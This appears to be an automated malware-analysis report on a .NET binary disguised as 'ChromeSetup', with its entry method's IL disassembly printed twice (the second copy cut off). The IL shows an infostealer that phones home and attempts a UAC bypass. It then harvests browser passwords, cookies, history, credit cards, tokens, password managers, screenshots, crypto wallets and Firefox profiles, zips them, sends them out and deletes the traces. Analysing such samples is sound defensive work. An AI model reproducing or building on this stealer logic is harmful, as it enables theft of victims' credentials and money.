| Info |
PE Detect: PeReader OK (file layout) |
| Info |
PDB Path: C:\Users\Administrator\AppData\Local\Temp\2\StubTemplate_3853\obj\Release\ChromeSetup.pdb
|
| Module Name |
|
| Full Name |
|
| EntryPoint |
System.Void chrome_v20_decryption_CSharp.Program::Main(System.String[]) |
| Scope Name |
|
| Scope Type |
|
| Kind |
|
| Runtime Version |
|
| Tables Header Version |
|
| WinMD Version |
|
| Assembly Name |
|
| Assembly Version |
|
| Assembly Culture |
|
| Has PublicKey |
|
| PublicKey Token |
|
| Target Framework |
.NETFramework,Version=v4.8 |
| Total Strings |
|
| Main Method |
System.Void chrome_v20_decryption_CSharp.Program::Main(System.String[]) |
| Main IL Instruction Count |
|
| Main IL |
call System.Int32 chrome_v20_decryption_CSharp.Program::CheckSeenBefore()
stsfld System.Int32 chrome_v20_decryption_CSharp.Program::_seenBeforeCount
call System.Boolean chrome_v20_decryption_CSharp.Program::FreeConsole()
pop <null>
leave.s IL_0015: nop
pop <null>
leave.s IL_0015: nop
nop <null>
ldc.i4 4032
call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType)
leave.s IL_0025: nop
pop <null>
leave.s IL_0025: nop
nop <null>
call System.Boolean chrome_v20_decryption_CSharp.Program::IsLicenseValid()
brtrue.s IL_0032: leave.s IL_003A
leave IL_044C: ret
leave.s IL_003A: nop
pop <null>
leave IL_044C: ret
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::SendPhoneHome()
leave.s IL_0045: ldc.i4.0
pop <null>
leave.s IL_0045: ldc.i4.0
ldc.i4.0 <null>
stloc.0 <null>
ldc.i4.0 <null>
stloc.1 <null>
ldc.i4.0 <null>
stloc.2 <null>
ldc.i4.0 <null>
stloc.3 <null>
ldc.i4.0 <null>
stloc.s V_4
ldarg.0 <null>
ldlen <null>
brtrue.s IL_0064: ldc.i4.0
ldc.i4.1 <null>
stloc.0 <null>
ldc.i4.1 <null>
stloc.1 <null>
ldc.i4.1 <null>
stloc.2 <null>
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.1 <null>
stloc.s V_4
br IL_01FA: ldloc.0
ldc.i4.0 <null>
stloc.s V_11
br IL_01F0: ldloc.s V_11
ldarg.0 <null>
ldloc.s V_11
ldelem.ref <null>
callvirt System.String System.String::ToLower()
stloc.s V_12
ldloc.s V_12
brfalse IL_01EA: ldloc.s V_11
ldloc.s V_12
call System.Int32 System.String::get_Length()
stloc.s V_13
ldloc.s V_13
ldc.i4.2 <null>
beq.s IL_00B7: ldloc.s V_12
ldloc.s V_13
ldc.i4.3 <null>
beq IL_01B7: ldloc.s V_12
ldloc.s V_13
ldc.i4.s 9
sub <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldc.i4.1 <null>
call System.Char System.String::get_Chars(System.Int32)
stloc.s V_14
ldloc.s V_14
ldc.i4.s 100
bgt.un.s IL_00DB: ldloc.s V_14
ldloc.s V_14
ldc.i4.s 99
beq.s IL_013E: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 100
beq IL_0167: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_14
ldc.i4.s 104
beq.s IL_0154: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 112
beq.s IL_0128: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldc.i4.2 <null>
call System.Char System.String::get_Chars(System.Int32)
stloc.s V_14
ldloc.s V_14
ldc.i4.s 100
beq IL_0187: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 112
beq.s IL_0177: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldc.i4.2 <null>
call System.Char System.String::get_Chars(System.Int32)
stloc.s V_14
ldloc.s V_14
ldc.i4.s 99
beq.s IL_0197: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 104
beq IL_01A7: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -p
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue IL_01D7: ldc.i4.1
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -c
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue IL_01DB: ldc.i4.1
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -h
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DF: ldc.i4.1
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -d
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E3: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --passwords
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01D7: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --downloads
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E3: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --cookies
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DB: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --history
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DF: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -cc
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E7: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --creditcards
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E7: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.0 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.1 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.2 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.3 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.s V_4
ldloc.s V_11
ldc.i4.1 <null>
add <null>
stloc.s V_11
ldloc.s V_11
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
blt IL_006C: ldarg.0
ldloc.0 <null>
ldloc.1 <null>
or <null>
ldloc.s V_4
or <null>
brfalse.s IL_021C: newobj System.Void chrome_v20_decryption_CSharp.Chromium::.ctor()
call System.Boolean chrome_v20_decryption_CSharp.Program::IsAdmin()
brtrue.s IL_021C: newobj System.Void chrome_v20_decryption_CSharp.Chromium::.ctor()
call System.Boolean chrome_v20_decryption_CSharp.Program/UACBypass::BypassUAC()
brfalse.s IL_0215: ldc.i4.0
leave IL_044C: ret
ldc.i4.0 <null>
stloc.0 <null>
ldc.i4.0 <null>
stloc.1 <null>
ldc.i4.0 <null>
stloc.s V_4
newobj System.Void chrome_v20_decryption_CSharp.Chromium::.ctor()
stloc.s V_5
ldnull <null>
stloc.s V_6
ldnull <null>
stloc.s V_7
ldnull <null>
stloc.s V_8
ldnull <null>
stloc.s V_9
ldnull <null>
stloc.s V_10
ldloc.0 <null>
brfalse.s IL_023E: leave.s IL_0243
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Login>> chrome_v20_decryption_CSharp.Chromium::GetLoginDataByBrowser()
stloc.s V_6
leave.s IL_0243: nop
pop <null>
leave.s IL_0243: nop
nop <null>
ldloc.1 <null>
brfalse.s IL_0250: leave.s IL_0255
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Cookie>> chrome_v20_decryption_CSharp.Chromium::GetCookiesByBrowser()
stloc.s V_7
leave.s IL_0255: nop
pop <null>
leave.s IL_0255: nop
nop <null>
ldloc.2 <null>
brfalse.s IL_0262: leave.s IL_0267
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/WebHistory>> chrome_v20_decryption_CSharp.Chromium::GetWebHistoryByBrowser()
stloc.s V_8
leave.s IL_0267: nop
pop <null>
leave.s IL_0267: nop
nop <null>
ldloc.3 <null>
brfalse.s IL_0274: leave.s IL_0279
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Download>> chrome_v20_decryption_CSharp.Chromium::GetDownloadsByBrowser()
stloc.s V_9
leave.s IL_0279: nop
pop <null>
leave.s IL_0279: nop
nop <null>
ldloc.s V_4
brfalse.s IL_0287: leave.s IL_028C
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/CreditCard>> chrome_v20_decryption_CSharp.Chromium::GetCreditCardsByBrowser()
stloc.s V_10
leave.s IL_028C: nop
pop <null>
leave.s IL_028C: nop
nop <null>
ldloc.0 <null>
brfalse.s IL_0297: leave.s IL_029C
ldloc.s V_6
call System.Void chrome_v20_decryption_CSharp.Program::WriteLogins(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Login>>)
leave.s IL_029C: nop
pop <null>
leave.s IL_029C: nop
nop <null>
ldloc.1 <null>
brfalse.s IL_02A7: leave.s IL_02AC
ldloc.s V_7
call System.Void chrome_v20_decryption_CSharp.Program::WriteCookies(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Cookie>>)
leave.s IL_02AC: nop
pop <null>
leave.s IL_02AC: nop
nop <null>
ldloc.2 <null>
brfalse.s IL_02B7: leave.s IL_02BC
ldloc.s V_8
call System.Void chrome_v20_decryption_CSharp.Program::WriteHistory(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/WebHistory>>)
leave.s IL_02BC: nop
pop <null>
leave.s IL_02BC: nop
nop <null>
ldloc.3 <null>
brfalse.s IL_02C7: leave.s IL_02CC
ldloc.s V_9
call System.Void chrome_v20_decryption_CSharp.Program::WriteDownloads(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Download>>)
leave.s IL_02CC: nop
pop <null>
leave.s IL_02CC: nop
nop <null>
ldloc.s V_4
brfalse.s IL_02D8: leave.s IL_02DD
ldloc.s V_10
call System.Void chrome_v20_decryption_CSharp.Program::WriteCreditCards(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/CreditCard>>)
leave.s IL_02DD: nop
pop <null>
leave.s IL_02DD: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::GatherSystemInfo()
leave.s IL_02E8: nop
pop <null>
leave.s IL_02E8: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::ExtractTokens()
leave.s IL_02F3: nop
pop <null>
leave.s IL_02F3: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::ExtractPasswordManagers()
leave.s IL_02FE: nop
pop <null>
leave.s IL_02FE: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::ScanFileSystem()
leave.s IL_0309: nop
pop <null>
leave.s IL_0309: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::CaptureScreenshot()
leave.s IL_0314: nop
pop <null>
leave.s IL_0314: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.CryptoWallets::GrabCryptoWallets()
call System.String chrome_v20_decryption_CSharp.Program::GetWalletsDirectory()
stloc.s V_15
ldloc.s V_15
call System.Boolean System.IO.Directory::Exists(System.String)
brfalse.s IL_0340: leave.s IL_0345
ldloc.s V_15
ldstr *
ldc.i4.1 <null>
call System.String[] System.IO.Directory::GetFiles(System.String,System.String,System.IO.SearchOption)
ldlen <null>
brfalse.s IL_0340: leave.s IL_0345
ldc.i4.1 <null>
stsfld System.Boolean chrome_v20_decryption_CSharp.Program::_hasWallets
leave.s IL_0345: nop
pop <null>
leave.s IL_0345: nop
nop <null>
call System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxLogin> chrome_v20_decryption_CSharp.Firefox::GetLogins()
callvirt System.Int32 System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxLogin>::get_Count()
stloc.s V_16
ldloc.s V_16
ldc.i4.0 <null>
ble.s IL_036A: call System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxCookie> chrome_v20_decryption_CSharp.Firefox::GetCookies()
ldsfld System.Int32 chrome_v20_decryption_CSharp.Program::_passwordCount
ldloc.s V_16
add <null>
stsfld System.Int32 chrome_v20_decryption_CSharp.Program::_passwordCount
ldc.i4.1 <null>
stsfld System.Boolean chrome_v20_decryption_CSharp.Program::_hasFirefox
call System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxCookie> chrome_v20_decryption_CSharp.Firefox::GetCookies()
callvirt System.Int32 System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxCookie>::get_Count()
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
ble.s IL_038E: call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
ldsfld System.Int32 chrome_v20_decryption_CSharp.Program::_cookieCount
ldloc.s V_17
add <null>
stsfld System.Int32 chrome_v20_decryption_CSharp.Program::_cookieCount
ldc.i4.1 <null>
stsfld System.Boolean chrome_v20_decryption_CSharp.Program::_hasFirefox
call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
call System.Void chrome_v20_decryption_CSharp.Firefox::WriteFirefoxData(System.String)
call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
call System.Void chrome_v20_decryption_CSharp.Firefox::CopyFirefoxProfiles(System.String)
leave.s IL_03A7: nop
pop <null>
leave.s IL_03A7: nop
nop <null>
call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
stloc.s V_18
ldloc.s V_18
call System.Boolean System.IO.Directory::Exists(System.String)
brfalse.s IL_0417: leave.s IL_0421
ldc.i4 500
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.s V_18
call System.String chrome_v20_decryption_CSharp.Program::ZipFolder(System.String)
stloc.s V_19
ldloc.s V_19
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue.s IL_0409: nop
ldloc.s V_19
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0409: nop
ldloc.s V_19
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 50331648
conv.i8 <null>
stloc.s V_20
callvirt System.Int64 System.IO.FileInfo::get_Length()
ldloc.s V_20
pop <null>
pop <null>
ldloc.s V_19
call System.Void chrome_v20_decryption_CSharp.Program::SendData(System.String)
nop <null>
ldloc.s V_19
call System.Void System.IO.File::Delete(System.String)
leave.s IL_0409: nop
pop <null>
leave.s IL_0409: nop
nop <null>
ldloc.s V_18
ldc.i4.1 <null>
call System.Void System.IO.Directory::Delete(System.String,System.Boolean)
leave.s IL_0417: leave.s IL_0421
pop <null>
leave.s IL_0417: leave.s IL_0421
leave.s IL_0421: nop
callvirt System.Exception System.Exception::get_InnerException()
pop <null>
leave.s IL_0421: nop
nop <null>
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
leave.s IL_0431: leave.s IL_044C
pop <null>
leave.s IL_0431: leave.s IL_044C
leave.s IL_044C: ret
pop <null>
leave.s IL_044C: ret
nop <null>
call System.Void System.GC::Collect()
call System.Void System.GC::WaitForPendingFinalizers()
call System.Void System.GC::Collect()
leave.s IL_044B: endfinally
pop <null>
leave.s IL_044B: endfinally
endfinally <null>
ret <null>
|
| Module Name |
|
| Full Name |
|
| EntryPoint |
System.Void chrome_v20_decryption_CSharp.Program::Main(System.String[]) |
| Scope Name |
|
| Scope Type |
|
| Kind |
|
| Runtime Version |
|
| Tables Header Version |
|
| WinMD Version |
|
| Assembly Name |
|
| Assembly Version |
|
| Assembly Culture |
|
| Has PublicKey |
|
| PublicKey Token |
|
| Target Framework |
.NETFramework,Version=v4.8 |
| Total Strings |
|
| Main Method |
System.Void chrome_v20_decryption_CSharp.Program::Main(System.String[]) |
| Main IL Instruction Count |
|
| Main IL |
call System.Int32 chrome_v20_decryption_CSharp.Program::CheckSeenBefore()
stsfld System.Int32 chrome_v20_decryption_CSharp.Program::_seenBeforeCount
call System.Boolean chrome_v20_decryption_CSharp.Program::FreeConsole()
pop <null>
leave.s IL_0015: nop
pop <null>
leave.s IL_0015: nop
nop <null>
ldc.i4 4032
call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType)
leave.s IL_0025: nop
pop <null>
leave.s IL_0025: nop
nop <null>
call System.Boolean chrome_v20_decryption_CSharp.Program::IsLicenseValid()
brtrue.s IL_0032: leave.s IL_003A
leave IL_044C: ret
leave.s IL_003A: nop
pop <null>
leave IL_044C: ret
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::SendPhoneHome()
leave.s IL_0045: ldc.i4.0
pop <null>
leave.s IL_0045: ldc.i4.0
ldc.i4.0 <null>
stloc.0 <null>
ldc.i4.0 <null>
stloc.1 <null>
ldc.i4.0 <null>
stloc.2 <null>
ldc.i4.0 <null>
stloc.3 <null>
ldc.i4.0 <null>
stloc.s V_4
ldarg.0 <null>
ldlen <null>
brtrue.s IL_0064: ldc.i4.0
ldc.i4.1 <null>
stloc.0 <null>
ldc.i4.1 <null>
stloc.1 <null>
ldc.i4.1 <null>
stloc.2 <null>
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.1 <null>
stloc.s V_4
br IL_01FA: ldloc.0
ldc.i4.0 <null>
stloc.s V_11
br IL_01F0: ldloc.s V_11
ldarg.0 <null>
ldloc.s V_11
ldelem.ref <null>
callvirt System.String System.String::ToLower()
stloc.s V_12
ldloc.s V_12
brfalse IL_01EA: ldloc.s V_11
ldloc.s V_12
call System.Int32 System.String::get_Length()
stloc.s V_13
ldloc.s V_13
ldc.i4.2 <null>
beq.s IL_00B7: ldloc.s V_12
ldloc.s V_13
ldc.i4.3 <null>
beq IL_01B7: ldloc.s V_12
ldloc.s V_13
ldc.i4.s 9
sub <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldc.i4.1 <null>
call System.Char System.String::get_Chars(System.Int32)
stloc.s V_14
ldloc.s V_14
ldc.i4.s 100
bgt.un.s IL_00DB: ldloc.s V_14
ldloc.s V_14
ldc.i4.s 99
beq.s IL_013E: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 100
beq IL_0167: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_14
ldc.i4.s 104
beq.s IL_0154: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 112
beq.s IL_0128: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldc.i4.2 <null>
call System.Char System.String::get_Chars(System.Int32)
stloc.s V_14
ldloc.s V_14
ldc.i4.s 100
beq IL_0187: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 112
beq.s IL_0177: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldc.i4.2 <null>
call System.Char System.String::get_Chars(System.Int32)
stloc.s V_14
ldloc.s V_14
ldc.i4.s 99
beq.s IL_0197: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 104
beq IL_01A7: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -p
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue IL_01D7: ldc.i4.1
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -c
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue IL_01DB: ldc.i4.1
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -h
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DF: ldc.i4.1
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -d
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E3: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --passwords
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01D7: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --downloads
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E3: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --cookies
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DB: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --history
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DF: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -cc
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E7: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --creditcards
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E7: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.0 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.1 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.2 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.3 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.s V_4
ldloc.s V_11
ldc.i4.1 <null>
add <null>
stloc.s V_11
ldloc.s V_11
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
blt IL_006C: ldarg.0
ldloc.0 <null>
ldloc.1 <null>
or <null>
ldloc.s V_4
or <null>
brfalse.s IL_021C: newobj System.Void chrome_v20_decryption_CSharp.Chromium::.ctor()
call System.Boolean chrome_v20_decryption_CSharp.Program::IsAdmin()
brtrue.s IL_021C: newobj System.Void chrome_v20_decryption_CSharp.Chromium::.ctor()
call System.Boolean chrome_v20_decryption_CSharp.Program/UACBypass::BypassUAC()
brfalse.s IL_0215: ldc.i4.0
leave IL_044C: ret
ldc.i4.0 <null>
stloc.0 <null>
ldc.i4.0 <null>
stloc.1 <null>
ldc.i4.0 <null>
stloc.s V_4
newobj System.Void chrome_v20_decryption_CSharp.Chromium::.ctor()
stloc.s V_5
ldnull <null>
stloc.s V_6
ldnull <null>
stloc.s V_7
ldnull <null>
stloc.s V_8
ldnull <null>
stloc.s V_9
ldnull <null>
stloc.s V_10
ldloc.0 <null>
brfalse.s IL_023E: leave.s IL_0243
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Login>> chrome_v20_decryption_CSharp.Chromium::GetLoginDataByBrowser()
stloc.s V_6
leave.s IL_0243: nop
pop <null>
leave.s IL_0243: nop
nop <null>
ldloc.1 <null>
brfalse.s IL_0250: leave.s IL_0255
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Cookie>> chrome_v20_decryption_CSharp.Chromium::GetCookiesByBrowser()
stloc.s V_7
leave.s IL_0255: nop
pop <null>
leave.s IL_0255: nop
nop <null>
ldloc.2 <null>
brfalse.s IL_0262: leave.s IL_0267
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/WebHistory>> chrome_v20_decryption_CSharp.Chromium::GetWebHistoryByBrowser()
stloc.s V_8
leave.s IL_0267: nop
pop <null>
leave.s IL_0267: nop
nop <null>
ldloc.3 <null>
brfalse.s IL_0274: leave.s IL_0279
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Download>> chrome_v20_decryption_CSharp.Chromium::GetDownloadsByBrowser()
stloc.s V_9
leave.s IL_0279: nop
pop <null>
leave.s IL_0279: nop
nop <null>
ldloc.s V_4
brfalse.s IL_0287: leave.s IL_028C
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/CreditCard>> chrome_v20_decryption_CSharp.Chromium::GetCreditCardsByBrowser()
stloc.s V_10
leave.s IL_028C: nop
pop <null>
leave.s IL_028C: nop
nop <null>
ldloc.0 <null>
brfalse.s IL_0297: leave.s IL_029C
ldloc.s V_6
call System.Void chrome_v20_decryption_CSharp.Program::WriteLogins(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Login>>)
leave.s IL_029C: nop
pop <null>
leave.s IL_029C: nop
nop <null>
ldloc.1 <null>
brfalse.s IL_02A7: leave.s IL_02AC
ldloc.s V_7
call System.Void chrome_v20_decryption_CSharp.Program::WriteCookies(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Cookie>>)
leave.s IL_02AC: nop
pop <null>
leave.s IL_02AC: nop
nop <null>
ldloc.2 <null>
brfalse.s IL_02B7: leave.s IL_02BC
ldloc.s V_8
call System.Void chrome_v20_decryption_CSharp.Program::WriteHistory(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/WebHistory>>)
leave.s IL_02BC: nop
pop <null>
leave.s IL_02BC: nop
nop <null>
ldloc.3 <null>
brfalse.s IL_02C7: leave.s IL_02CC
ldloc.s V_9
call System.Void chrome_v20_decryption_CSharp.Program::WriteDownloads(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Download>>)
leave.s IL_02CC: nop
pop <null>
leave.s IL_02CC: nop
nop <null>
ldloc.s V_4
brfalse.s IL_02D8: leave.s IL_02DD
ldloc.s V_10
call System.Void chrome_v20_decryption_CSharp.Program::WriteCreditCards(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/CreditCard>>)
leave.s IL_02DD: nop
pop <null>
leave.s IL_02DD: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::GatherSystemInfo()
leave.s IL_02E8: nop
pop <null>
leave.s IL_02E8: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::ExtractTokens()
leave.s IL_02F3: nop
pop <null>
leave.s IL_02F3: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::ExtractPasswordManagers()
leave.s IL_02FE: nop
pop <null>
leave.s IL_02FE: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::ScanFileSystem()
leave.s IL_0309: nop
pop <null>
leave.s IL_0309: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::CaptureScreenshot()
leave.s IL_0314: nop
pop <null>
leave.s IL_0314: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.CryptoWallets::GrabCryptoWallets()
call System.String chrome_v20_decryption_CSharp.Program::GetWalletsDirectory()
stloc.s V_15
ldloc.s V_15
call System.Boolean System.IO.Directory::Exists(System.String)
brfalse.s IL_0340: leave.s IL_0345
ldloc.s V_15
ldstr *
ldc.i4.1 <null>
call System.String[] System.IO.Directory::GetFiles(System.String,System.String,System.IO.SearchOption)
ldlen <null>
brfalse.s IL_0340: leave.s IL_0345
ldc.i4.1 <null>
stsfld System.Boolean chrome_v20_decryption_CSharp.Program::_hasWallets
leave.s IL_0345: nop
pop <null>
leave.s IL_0345: nop
nop <null>
call System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxLogin> chrome_v20_decryption_CSharp.Firefox::GetLogins()
callvirt System.Int32 System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxLogin>::get_Count()
stloc.s V_16
ldloc.s V_16
ldc.i4.0 <null>
ble.s IL_036A: call System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxCookie> chrome_v20_decryption_CSharp.Firefox::GetCookies()
ldsfld System.Int32 chrome_v20_decryption_CSharp.Program::_passwordCount
ldloc.s V_16
add <null>
stsfld System.Int32 chrome_v20_decryption_CSharp.Program::_passwordCount
ldc.i4.1 <null>
stsfld System.Boolean chrome_v20_decryption_CSharp.Program::_hasFirefox
call System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxCookie> chrome_v20_decryption_CSharp.Firefox::GetCookies()
callvirt System.Int32 System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxCookie>::get_Count()
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
ble.s IL_038E: call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
ldsfld System.Int32 chrome_v20_decryption_CSharp.Program::_cookieCount
ldloc.s V_17
add <null>
stsfld System.Int32 chrome_v20_decryption_CSharp.Program::_cookieCount
ldc.i4.1 <null>
stsfld System.Boolean chrome_v20_decryption_CSharp.Program::_hasFirefox
call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
call System.Void chrome_v20_decryption_CSharp.Firefox::WriteFirefoxData(System.String)
call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
call System.Void chrome_v20_decryption_CSharp.Firefox::CopyFirefoxProfiles(System.String)
leave.s IL_03A7: nop
pop <null>
leave.s IL_03A7: nop
nop <null>
call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
stloc.s V_18
ldloc.s V_18
